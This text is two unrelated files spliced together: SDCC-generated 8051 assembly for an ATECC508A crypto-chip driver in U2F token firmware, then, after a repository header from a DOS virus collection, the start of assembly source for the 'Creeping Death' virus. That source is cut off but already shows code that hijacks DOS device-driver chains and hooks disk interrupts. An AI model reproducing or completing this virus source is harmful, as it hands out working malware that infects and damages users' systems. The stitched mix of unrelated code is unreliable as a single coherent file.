_PSW_F1 = 0x00d1
G$PSW_OV$0$0 == 0x00d2
_PSW_OV = 0x00d2
G$PSW_RS0$0$0 == 0x00d3
_PSW_RS0 = 0x00d3
G$PSW_RS1$0$0 == 0x00d4
_PSW_RS1 = 0x00d4
G$PSW_F0$0$0 == 0x00d5
_PSW_F0 = 0x00d5
G$PSW_AC$0$0 == 0x00d6
_PSW_AC = 0x00d6
G$PSW_CY$0$0 == 0x00d7
_PSW_CY = 0x00d7
G$SCON0_RI$0$0 == 0x0098
_SCON0_RI = 0x0098
G$SCON0_TI$0$0 == 0x0099
_SCON0_TI = 0x0099
G$SCON0_RB8$0$0 == 0x009a
_SCON0_RB8 = 0x009a
G$SCON0_TB8$0$0 == 0x009b
_SCON0_TB8 = 0x009b
G$SCON0_REN$0$0 == 0x009c
_SCON0_REN = 0x009c
G$SCON0_MCE$0$0 == 0x009d
_SCON0_MCE = 0x009d
G$SCON0_SMODE$0$0 == 0x009f
_SCON0_SMODE = 0x009f
G$SCON1_RI$0$0 == 0x00c8
_SCON1_RI = 0x00c8
G$SCON1_TI$0$0 == 0x00c9
_SCON1_TI = 0x00c9
G$SCON1_RBX$0$0 == 0x00ca
_SCON1_RBX = 0x00ca
G$SCON1_TBX$0$0 == 0x00cb
_SCON1_TBX = 0x00cb
G$SCON1_REN$0$0 == 0x00cc
_SCON1_REN = 0x00cc
G$SCON1_PERR$0$0 == 0x00ce
_SCON1_PERR = 0x00ce
G$SCON1_OVR$0$0 == 0x00cf
_SCON1_OVR = 0x00cf
G$SMB0CN0_SI$0$0 == 0x00c0
_SMB0CN0_SI = 0x00c0
G$SMB0CN0_ACK$0$0 == 0x00c1
_SMB0CN0_ACK = 0x00c1
G$SMB0CN0_ARBLOST$0$0 == 0x00c2
_SMB0CN0_ARBLOST = 0x00c2
G$SMB0CN0_ACKRQ$0$0 == 0x00c3
_SMB0CN0_ACKRQ = 0x00c3
G$SMB0CN0_STO$0$0 == 0x00c4
_SMB0CN0_STO = 0x00c4
G$SMB0CN0_STA$0$0 == 0x00c5
_SMB0CN0_STA = 0x00c5
G$SMB0CN0_TXMODE$0$0 == 0x00c6
_SMB0CN0_TXMODE = 0x00c6
G$SMB0CN0_MASTER$0$0 == 0x00c7
_SMB0CN0_MASTER = 0x00c7
G$SPI0CN0_SPIEN$0$0 == 0x00f8
_SPI0CN0_SPIEN = 0x00f8
G$SPI0CN0_TXNF$0$0 == 0x00f9
_SPI0CN0_TXNF = 0x00f9
G$SPI0CN0_NSSMD0$0$0 == 0x00fa
_SPI0CN0_NSSMD0 = 0x00fa
G$SPI0CN0_NSSMD1$0$0 == 0x00fb
_SPI0CN0_NSSMD1 = 0x00fb
G$SPI0CN0_RXOVRN$0$0 == 0x00fc
_SPI0CN0_RXOVRN = 0x00fc
G$SPI0CN0_MODF$0$0 == 0x00fd
_SPI0CN0_MODF = 0x00fd
G$SPI0CN0_WCOL$0$0 == 0x00fe
_SPI0CN0_WCOL = 0x00fe
G$SPI0CN0_SPIF$0$0 == 0x00ff
_SPI0CN0_SPIF = 0x00ff
G$TCON_IT0$0$0 == 0x0088
_TCON_IT0 = 0x0088
G$TCON_IE0$0$0 == 0x0089
_TCON_IE0 = 0x0089
G$TCON_IT1$0$0 == 0x008a
_TCON_IT1 = 0x008a
G$TCON_IE1$0$0 == 0x008b
_TCON_IE1 = 0x008b
G$TCON_TR0$0$0 == 0x008c
_TCON_TR0 = 0x008c
G$TCON_TF0$0$0 == 0x008d
_TCON_TF0 = 0x008d
G$TCON_TR1$0$0 == 0x008e
_TCON_TR1 = 0x008e
G$TCON_TF1$0$0 == 0x008f
_TCON_TF1 = 0x008f
G$TMR2CN0_T2XCLK0$0$0 == 0x00c8
_TMR2CN0_T2XCLK0 = 0x00c8
G$TMR2CN0_T2XCLK1$0$0 == 0x00c9
_TMR2CN0_T2XCLK1 = 0x00c9
G$TMR2CN0_TR2$0$0 == 0x00ca
_TMR2CN0_TR2 = 0x00ca
G$TMR2CN0_T2SPLIT$0$0 == 0x00cb
_TMR2CN0_T2SPLIT = 0x00cb
G$TMR2CN0_TF2CEN$0$0 == 0x00cc
_TMR2CN0_TF2CEN = 0x00cc
G$TMR2CN0_TF2LEN$0$0 == 0x00cd
_TMR2CN0_TF2LEN = 0x00cd
G$TMR2CN0_TF2L$0$0 == 0x00ce
_TMR2CN0_TF2L = 0x00ce
G$TMR2CN0_TF2H$0$0 == 0x00cf
_TMR2CN0_TF2H = 0x00cf
G$TMR4CN0_T4XCLK0$0$0 == 0x0098
_TMR4CN0_T4XCLK0 = 0x0098
G$TMR4CN0_T4XCLK1$0$0 == 0x0099
_TMR4CN0_T4XCLK1 = 0x0099
G$TMR4CN0_TR4$0$0 == 0x009a
_TMR4CN0_TR4 = 0x009a
G$TMR4CN0_T4SPLIT$0$0 == 0x009b
_TMR4CN0_T4SPLIT = 0x009b
G$TMR4CN0_TF4CEN$0$0 == 0x009c
_TMR4CN0_TF4CEN = 0x009c
G$TMR4CN0_TF4LEN$0$0 == 0x009d
_TMR4CN0_TF4LEN = 0x009d
G$TMR4CN0_TF4L$0$0 == 0x009e
_TMR4CN0_TF4L = 0x009e
G$TMR4CN0_TF4H$0$0 == 0x009f
_TMR4CN0_TF4H = 0x009f
G$UART1FCN1_RIE$0$0 == 0x00d8
_UART1FCN1_RIE = 0x00d8
G$UART1FCN1_RXTO0$0$0 == 0x00d9
_UART1FCN1_RXTO0 = 0x00d9
G$UART1FCN1_RXTO1$0$0 == 0x00da
_UART1FCN1_RXTO1 = 0x00da
G$UART1FCN1_RFRQ$0$0 == 0x00db
_UART1FCN1_RFRQ = 0x00db
G$UART1FCN1_TIE$0$0 == 0x00dc
_UART1FCN1_TIE = 0x00dc
G$UART1FCN1_TXHOLD$0$0 == 0x00dd
_UART1FCN1_TXHOLD = 0x00dd
G$UART1FCN1_TXNF$0$0 == 0x00de
_UART1FCN1_TXNF = 0x00de
G$UART1FCN1_TFRQ$0$0 == 0x00df
_UART1FCN1_TFRQ = 0x00df
G$U2F_BUTTON$0$0 == 0x0095
_U2F_BUTTON = 0x0095
G$U2F_BUTTON_VAL$0$0 == 0x0096
_U2F_BUTTON_VAL = 0x0096
G$U2F_RED$0$0 == 0x0091
_U2F_RED = 0x0091
G$U2F_GREEN$0$0 == 0x0090
_U2F_GREEN = 0x0090
G$U2F_BLUE$0$0 == 0x0087
_U2F_BLUE = 0x0087
;--------------------------------------------------------
; overlayable register banks
;--------------------------------------------------------
.area REG_BANK_0 (REL,OVR,DATA)
.ds 8
;--------------------------------------------------------
; internal ram data
;--------------------------------------------------------
.area DSEG (DATA)
Latecc508a.atecc_send$params$1$130==.
_atecc_send_params_1_130:
.ds 6
;--------------------------------------------------------
; overlayable items in internal ram
;--------------------------------------------------------
;--------------------------------------------------------
; indirectly addressable internal ram data
;--------------------------------------------------------
.area ISEG (DATA)
;--------------------------------------------------------
; absolute internal ram data
;--------------------------------------------------------
.area IABS (ABS,DATA)
.area IABS (ABS,DATA)
;--------------------------------------------------------
; bit data
;--------------------------------------------------------
.area BSEG (BIT)
;--------------------------------------------------------
; paged external ram data
;--------------------------------------------------------
.area PSEG (PAG,XDATA)
;--------------------------------------------------------
; external ram data
;--------------------------------------------------------
.area XSEG (XDATA)
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area XABS (ABS,XDATA)
;--------------------------------------------------------
; external initialized ram data
;--------------------------------------------------------
.area XISEG (XDATA)
.area HOME (CODE)
.area GSINIT0 (CODE)
.area GSINIT1 (CODE)
.area GSINIT2 (CODE)
.area GSINIT3 (CODE)
.area GSINIT4 (CODE)
.area GSINIT5 (CODE)
.area GSINIT (CODE)
.area GSFINAL (CODE)
.area CSEG (CODE)
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area HOME (CODE)
.area GSINIT (CODE)
.area GSFINAL (CODE)
.area GSINIT (CODE)
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area HOME (CODE)
.area HOME (CODE)
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area CSEG (CODE)
;------------------------------------------------------------
;Allocation info for local variables in function 'atecc_send'
;------------------------------------------------------------
;p1 Allocated to stack - _bp -3
;p2 Allocated to stack - _bp -5
;buf Allocated to stack - _bp -8
;len Allocated to stack - _bp -9
;cmd Allocated to registers r7
;params Allocated with name '_atecc_send_params_1_130'
;------------------------------------------------------------
G$atecc_send$0$0 ==.
C$atecc508a.c$41$0$0 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:41: int8_t atecc_send(uint8_t cmd, uint8_t p1, uint16_t p2,
; -----------------------------------------
; function atecc_send
; -----------------------------------------
_atecc_send:
ar7 = 0x07
ar6 = 0x06
ar5 = 0x05
ar4 = 0x04
ar3 = 0x03
ar2 = 0x02
ar1 = 0x01
ar0 = 0x00
push _bp
mov _bp,sp
mov r7,dpl
C$atecc508a.c$45$1$130 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:45: params[0] = 0x3;
mov _atecc_send_params_1_130,#0x03
C$atecc508a.c$46$1$130 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:46: params[1] = 7+len;
mov a,_bp
add a,#0xf7
mov r0,a
mov a,#0x07
add a,@r0
mov (_atecc_send_params_1_130 + 0x0001),a
C$atecc508a.c$47$1$130 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:47: params[2] = cmd;
mov (_atecc_send_params_1_130 + 0x0002),r7
C$atecc508a.c$48$1$130 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:48: params[3] = p1;
mov a,_bp
add a,#0xfd
mov r0,a
mov (_atecc_send_params_1_130 + 0x0003),@r0
C$atecc508a.c$49$1$130 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:49: params[4] = ((uint8_t*)&p2)[1];
mov a,_bp
add a,#0xfb
mov r7,a
mov r6,a
mov a,r6
inc a
mov r1,a
mov ar6,@r1
mov (_atecc_send_params_1_130 + 0x0004),r6
C$atecc508a.c$50$1$130 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:50: params[5] = ((uint8_t* )&p2)[0];
mov ar1,r7
mov ar7,@r1
mov (_atecc_send_params_1_130 + 0x0005),r7
C$atecc508a.c$52$1$130 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:52: smb_set_ext_write(buf, len);
mov a,_bp
add a,#0xf7
mov r0,a
mov a,@r0
push acc
mov a,_bp
add a,#0xf8
mov r0,a
mov dpl,@r0
inc r0
mov dph,@r0
inc r0
mov b,@r0
lcall _smb_set_ext_write
dec sp
C$atecc508a.c$53$1$130 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:53: smb_write( ATECC508A_ADDR, params, sizeof(params));
mov a,#0x06
push acc
mov a,#_atecc_send_params_1_130
push acc
mov a,#(_atecc_send_params_1_130 >> 8)
push acc
mov a,#0x40
push acc
mov dpl,#0xc0
lcall _smb_write
mov a,sp
add a,#0xfc
mov sp,a
C$atecc508a.c$54$1$130 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:54: if (SMB_WAS_NACKED())
mov a,_SMB_FLAGS
jnb acc.6,00102$
C$atecc508a.c$56$2$131 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:56: return -1;
mov dpl,#0xff
sjmp 00103$
00102$:
C$atecc508a.c$58$1$130 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:58: return 0;
mov dpl,#0x00
00103$:
pop _bp
C$atecc508a.c$59$1$130 ==.
XG$atecc_send$0$0 ==.
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'atecc_idle'
;------------------------------------------------------------
G$atecc_idle$0$0 ==.
C$atecc508a.c$61$1$130 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:61: void atecc_idle()
; -----------------------------------------
; function atecc_idle
; -----------------------------------------
_atecc_idle:
C$atecc508a.c$63$1$132 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:63: smb_write( ATECC508A_ADDR, "\x02", 1);
mov a,#0x01
push acc
mov a,#___str_0
push acc
mov a,#(___str_0 >> 8)
push acc
mov a,#0x80
push acc
mov dpl,#0xc0
lcall _smb_write
mov a,sp
add a,#0xfc
mov sp,a
C$atecc508a.c$64$1$132 ==.
XG$atecc_idle$0$0 ==.
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'atecc_sleep'
;------------------------------------------------------------
G$atecc_sleep$0$0 ==.
C$atecc508a.c$66$1$132 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:66: void atecc_sleep()
; -----------------------------------------
; function atecc_sleep
; -----------------------------------------
_atecc_sleep:
C$atecc508a.c$68$1$133 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:68: smb_write( ATECC508A_ADDR, "\x01", 1);
mov a,#0x01
push acc
mov a,#___str_1
push acc
mov a,#(___str_1 >> 8)
push acc
mov a,#0x80
push acc
mov dpl,#0xc0
lcall _smb_write
mov a,sp
add a,#0xfc
mov sp,a
C$atecc508a.c$69$1$133 ==.
XG$atecc_sleep$0$0 ==.
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'atecc_wake'
;------------------------------------------------------------
G$atecc_wake$0$0 ==.
C$atecc508a.c$71$1$133 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:71: void atecc_wake()
; -----------------------------------------
; function atecc_wake
; -----------------------------------------
_atecc_wake:
C$atecc508a.c$73$1$134 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:73: smb_write( ATECC508A_ADDR, "\0\0", 2);
mov a,#0x02
push acc
mov a,#___str_2
push acc
mov a,#(___str_2 >> 8)
push acc
mov a,#0x80
push acc
mov dpl,#0xc0
lcall _smb_write
mov a,sp
add a,#0xfc
mov sp,a
C$atecc508a.c$74$1$134 ==.
XG$atecc_wake$0$0 ==.
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'atecc_recv'
;------------------------------------------------------------
;buflen Allocated to stack - _bp -3
;res Allocated to stack - _bp -6
;buf Allocated to stack - _bp +1
;pkt_len Allocated to stack - _bp +4
;------------------------------------------------------------
G$atecc_recv$0$0 ==.
C$atecc508a.c$78$1$134 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:78: int8_t atecc_recv(uint8_t * buf, uint8_t buflen, struct atecc_response* res)
; -----------------------------------------
; function atecc_recv
; -----------------------------------------
_atecc_recv:
push _bp
mov _bp,sp
push dpl
push dph
push b
inc sp
C$atecc508a.c$81$1$136 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:81: pkt_len = smb_read( ATECC508A_ADDR,buf,buflen);
mov a,_bp
add a,#0xfd
mov r0,a
mov a,@r0
push acc
mov r0,_bp
inc r0
mov a,@r0
push acc
inc r0
mov a,@r0
push acc
inc r0
mov a,@r0
push acc
mov dpl,#0xc0
lcall _smb_read
mov r4,dpl
mov a,sp
add a,#0xfc
mov sp,a
mov a,_bp
add a,#0x04
mov r0,a
mov @r0,ar4
C$atecc508a.c$82$1$136 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:82: if (SMB_WAS_NACKED())
mov a,_SMB_FLAGS
jnb acc.6,00102$
C$atecc508a.c$84$2$137 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:84: return -1;
mov dpl,#0xff
ljmp 00116$
00102$:
C$atecc508a.c$87$1$136 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:87: if (SMB_FLAGS & SMB_READ_TRUNC)
mov a,_SMB_FLAGS
jnb acc.4,00104$
C$atecc508a.c$89$2$138 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:89: set_app_error(ERROR_READ_TRUNCATED);
mov dpl,#0x06
lcall _set_app_error
00104$:
C$atecc508a.c$92$1$136 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:92: if (pkt_len <= buflen && pkt_len >= 4)
mov a,_bp
add a,#0x04
mov r0,a
mov a,_bp
add a,#0xfd
mov r1,a
clr c
mov a,@r1
subb a,@r0
jc 00108$
mov a,_bp
add a,#0x04
mov r0,a
cjne @r0,#0x04,00145$
00145$:
jc 00108$
C$atecc508a.c$94$2$139 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:94: if (PKT_CRC(buf,pkt_len) != SMB_crc)
mov r0,_bp
inc r0
mov a,_bp
add a,#0x04
mov r1,a
mov a,@r1
add a,@r0
mov r2,a
clr a
inc r0
addc a,@r0
mov r3,a
inc r0
mov ar7,@r0
mov a,r2
add a,#0xfe
mov r2,a
mov a,r3
addc a,#0xff
mov r3,a
mov dpl,r2
mov dph,r3
mov b,r7
lcall __gptrget
mov r2,a
inc dptr
lcall __gptrget
mov r3,a
mov dptr,#_SMB_crc
movx a,@dptr
mov r6,a
inc dptr
movx a,@dptr
mov r7,a
mov a,r2
cjne a,ar6,00147$
mov a,r3
cjne a,ar7,00147$
sjmp 00109$
00147$:
C$atecc508a.c$96$3$140 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:96: set_app_error(ERROR_I2C_CRC);
mov dpl,#0x15
lcall _set_app_error
C$atecc508a.c$97$3$140 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:97: return -1;
mov dpl,#0xff
ljmp 00116$
00108$:
C$atecc508a.c$102$2$141 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:102: set_app_error(ERROR_I2C_BAD_LEN);
mov dpl,#0x16
lcall _set_app_error
C$atecc508a.c$103$2$141 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:103: return -1;
mov dpl,#0xff
ljmp 00116$
00109$:
C$atecc508a.c$106$1$136 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:106: if (pkt_len == 4 && buf[1] != 0)
mov a,_bp
add a,#0x04
mov r0,a
cjne @r0,#0x04,00112$
mov r0,_bp
inc r0
mov a,#0x01
add a,@r0
mov r5,a
clr a
inc r0
addc a,@r0
mov r6,a
inc r0
mov ar7,@r0
mov dpl,r5
mov dph,r6
mov b,r7
lcall __gptrget
mov r7,a
jz 00112$
C$atecc508a.c$108$2$142 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:108: set_app_error(buf[1]);
mov dpl,r7
lcall _set_app_error
C$atecc508a.c$109$2$142 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:109: return -1;
mov dpl,#0xff
sjmp 00116$
00112$:
C$atecc508a.c$112$1$136 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:112: if (res != NULL)
mov a,_bp
add a,#0xfa
mov r0,a
mov a,@r0
inc r0
orl a,@r0
jz 00115$
C$atecc508a.c$114$2$143 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:114: res->len = pkt_len - 3;
mov a,_bp
add a,#0xfa
mov r0,a
mov ar5,@r0
inc r0
mov ar6,@r0
inc r0
mov ar7,@r0
mov a,_bp
add a,#0x04
mov r0,a
mov a,@r0
add a,#0xfd
mov r3,a
mov dpl,r5
mov dph,r6
mov b,r7
lcall __gptrput
C$atecc508a.c$115$2$143 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:115: res->buf = buf+1;
inc r5
cjne r5,#0x00,00152$
inc r6
00152$:
mov r0,_bp
inc r0
mov a,#0x01
add a,@r0
mov r2,a
clr a
inc r0
addc a,@r0
mov r3,a
inc r0
mov ar4,@r0
mov dpl,r5
mov dph,r6
mov b,r7
mov a,r2
lcall __gptrput
inc dptr
mov a,r3
lcall __gptrput
inc dptr
mov a,r4
lcall __gptrput
00115$:
C$atecc508a.c$117$1$136 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:117: return pkt_len;
mov a,_bp
add a,#0x04
mov r0,a
mov dpl,@r0
00116$:
mov sp,_bp
pop _bp
C$atecc508a.c$118$1$136 ==.
XG$atecc_recv$0$0 ==.
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'delay_cmd'
;------------------------------------------------------------
;cmd Allocated to registers r7
;d Allocated to registers r7
;------------------------------------------------------------
Fatecc508a$delay_cmd$0$0 ==.
C$atecc508a.c$120$1$136 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:120: static void delay_cmd(uint8_t cmd)
; -----------------------------------------
; function delay_cmd
; -----------------------------------------
_delay_cmd:
mov r7,dpl
C$atecc508a.c$123$1$145 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:123: switch(cmd)
cjne r7,#0x40,00113$
sjmp 00102$
00113$:
cjne r7,#0x41,00103$
C$atecc508a.c$126$2$146 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:126: d = 50;
mov r7,#0x32
C$atecc508a.c$127$2$146 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:127: break;
C$atecc508a.c$128$2$146 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:128: case ATECC_CMD_GENKEY:
sjmp 00104$
00102$:
C$atecc508a.c$129$2$146 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:129: d = 100;
mov r7,#0x64
C$atecc508a.c$130$2$146 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:130: break;
C$atecc508a.c$131$2$146 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:131: default:
sjmp 00104$
00103$:
C$atecc508a.c$132$2$146 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:132: d = 32;
mov r7,#0x20
C$atecc508a.c$134$1$145 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:134: }
00104$:
C$atecc508a.c$135$1$145 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:135: u2f_delay(d);
mov r6,#0x00
mov r5,#0x00
mov r4,#0x00
mov dpl,r7
mov dph,r6
mov b,r5
mov a,r4
lcall _u2f_delay
C$atecc508a.c$136$1$145 ==.
XFatecc508a$delay_cmd$0$0 ==.
ret
;------------------------------------------------------------
;Allocation info for local variables in function 'atecc_send_recv'
;------------------------------------------------------------
;p1 Allocated to stack - _bp -3
;p2 Allocated to stack - _bp -5
;tx Allocated to stack - _bp -8
;txlen Allocated to stack - _bp -9
;rx Allocated to stack - _bp -12
;rxlen Allocated to stack - _bp -13
;res Allocated to stack - _bp -16
;cmd Allocated to registers r7
;errors Allocated to registers r6
;------------------------------------------------------------
G$atecc_send_recv$0$0 ==.
C$atecc508a.c$138$1$145 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:138: int8_t atecc_send_recv(uint8_t cmd, uint8_t p1, uint16_t p2,
; -----------------------------------------
; function atecc_send_recv
; -----------------------------------------
_atecc_send_recv:
push _bp
mov _bp,sp
mov r7,dpl
C$atecc508a.c$142$1$145 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:142: uint8_t errors = 0;
mov r6,#0x00
C$atecc508a.c$143$1$148 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:143: atecc_wake();
push ar7
push ar6
lcall _atecc_wake
pop ar6
pop ar7
C$atecc508a.c$145$1$148 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:145: while(atecc_send(cmd, p1, p2, tx, txlen) == -1)
00104$:
push ar7
push ar6
mov a,_bp
add a,#0xf7
mov r0,a
mov a,@r0
push acc
mov a,_bp
add a,#0xf8
mov r0,a
mov a,@r0
push acc
inc r0
mov a,@r0
push acc
inc r0
mov a,@r0
push acc
mov a,_bp
add a,#0xfb
mov r0,a
mov a,@r0
push acc
inc r0
mov a,@r0
push acc
mov a,_bp
add a,#0xfd
mov r0,a
mov a,@r0
push acc
mov dpl,r7
lcall _atecc_send
mov r5,dpl
mov a,sp
add a,#0xf9
mov sp,a
pop ar6
pop ar7
cjne r5,#0xff,00123$
C$atecc508a.c$147$2$149 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:147: u2f_delay(10);
mov dptr,#(0x0a&0x00ff)
clr a
mov b,a
push ar7
push ar6
lcall _u2f_delay
pop ar6
pop ar7
C$atecc508a.c$148$2$149 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:148: errors++;
inc r6
C$atecc508a.c$149$2$149 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:149: if (errors > 8)
mov a,r6
add a,#0xff - 0x08
jnc 00104$
C$atecc508a.c$151$3$150 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:151: return -1;
mov dpl,#0xff
ljmp 00115$
C$atecc508a.c$154$1$148 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:154: while(atecc_recv(rx,rxlen, res) == -1)
00123$:
mov ar5,r6
00112$:
push ar7
push ar5
mov a,_bp
add a,#0xf0
mov r0,a
mov a,@r0
push acc
inc r0
mov a,@r0
push acc
inc r0
mov a,@r0
push acc
mov a,_bp
add a,#0xf3
mov r0,a
mov a,@r0
push acc
mov a,_bp
add a,#0xf4
mov r0,a
mov dpl,@r0
inc r0
mov dph,@r0
inc r0
mov b,@r0
lcall _atecc_recv
mov r4,dpl
mov a,sp
add a,#0xfc
mov sp,a
pop ar5
pop ar7
cjne r4,#0xff,00114$
C$atecc508a.c$156$2$151 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:156: errors++;
inc r5
C$atecc508a.c$157$2$151 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:157: if (errors > 5)
mov a,r5
mov r6,a
add a,#0xff - 0x05
jnc 00108$
C$atecc508a.c$159$3$152 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:159: return -2;
mov dpl,#0xfe
sjmp 00115$
00108$:
C$atecc508a.c$161$2$151 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:161: switch(get_app_error())
push ar7
push ar6
push ar5
lcall _get_app_error
mov r4,dpl
pop ar5
pop ar6
pop ar7
cjne r4,#0x00,00110$
C$atecc508a.c$164$3$153 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:164: delay_cmd(cmd);
mov dpl,r7
push ar7
push ar5
lcall _delay_cmd
pop ar5
pop ar7
C$atecc508a.c$165$3$153 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:165: break;
C$atecc508a.c$166$3$153 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:166: default:
sjmp 00112$
00110$:
C$atecc508a.c$167$3$153 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:167: u2f_delay(cmd);
mov ar2,r7
mov r3,#0x00
mov r4,#0x00
mov r5,#0x00
mov dpl,r2
mov dph,r3
mov b,r4
mov a,r5
push ar7
push ar6
lcall _u2f_delay
pop ar6
pop ar7
C$atecc508a.c$168$3$153 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:168: goto resend;
ljmp 00104$
C$atecc508a.c$170$1$148 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:170: }
00114$:
C$atecc508a.c$173$1$148 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:173: atecc_idle();
lcall _atecc_idle
C$atecc508a.c$174$1$148 ==.
; D:\Freelancer_projects\jan333\sdcc_project\src\atecc508a.c:174: return 0;
mov dpl,#0x00
00115$:
pop _bp
C$atecc508a.c$175$1$148 ==.
XG$atecc_send_recv$0$0 ==.
ret
.area CSEG (CODE)
.area CONST (CODE)
Fatecc508a$__str_0$0$0 == .
___str_0:
.db 0x02
.db 0x00
Fatecc508a$__str_1$0$0 == .
___str_1:
.db 0x01
.db 0x00
Fatecc508a$__str_2$0$0 == .
___str_2:
.db 0x00
.db 0x00
.db 0x00
.area XINIT (CODE)
.area CABS (ABS,CODE)
|
MSDOS/Virus.MSDOS.Unknown.cdset.asm | fengjixuchui/Family | 3 | 167726 | <gh_stars>1-10
; Creeping Death V 1.0
;
; (C) Copyright 1991 by VirusSoft Corp.
i13org = 5f8h
i21org = 5fch
org 100h
mov sp,600h
inc counter
xor cx,cx
mov ds,cx
lds ax,[0c1h]
add ax,21h
push ds
push ax
mov ah,30h
call jump
cmp al,4
sbb si,si
mov drive+2,byte ptr -1
mov bx,60h
mov ah,4ah
call jump
mov ah,52h
call jump
push es:[bx-2]
lds bx,es:[bx]
search: mov ax,[bx+si+15h]
cmp ax,70h
jne next
xchg ax,cx
mov [bx+si+18h],byte ptr -1
mov di,[bx+si+13h]
mov [bx+si+13h],offset header
mov [bx+si+15h],cs
next: lds bx,[bx+si+19h]
cmp bx,-1
jne search
jcxz install
pop ds
mov ax,ds
add ax,[3]
inc ax
mov dx,cs
dec dx
cmp ax,dx
jne no_boot
add [3],61h
no_boot: mov ds,dx
mov [1],8
mov ds,cx
les ax,[di+6]
mov cs:str_block,ax
mov cs:int_block,es
cld
mov si,1
scan: dec si
lodsw
cmp ax,1effh
jne scan
mov ax,2cah
cmp [si+4],ax
je right
cmp [si+5],ax
jne scan
right: lodsw
push cs
pop es
mov di,offset modify+1
stosw
xchg ax,si
mov di,offset i13org
cli
movsw
movsw
mov dx,0c000h
fdsk1: mov ds,dx
xor si,si
lodsw
cmp ax,0aa55h
jne fdsk4
cbw
lodsb
mov cl,9
sal ax,cl
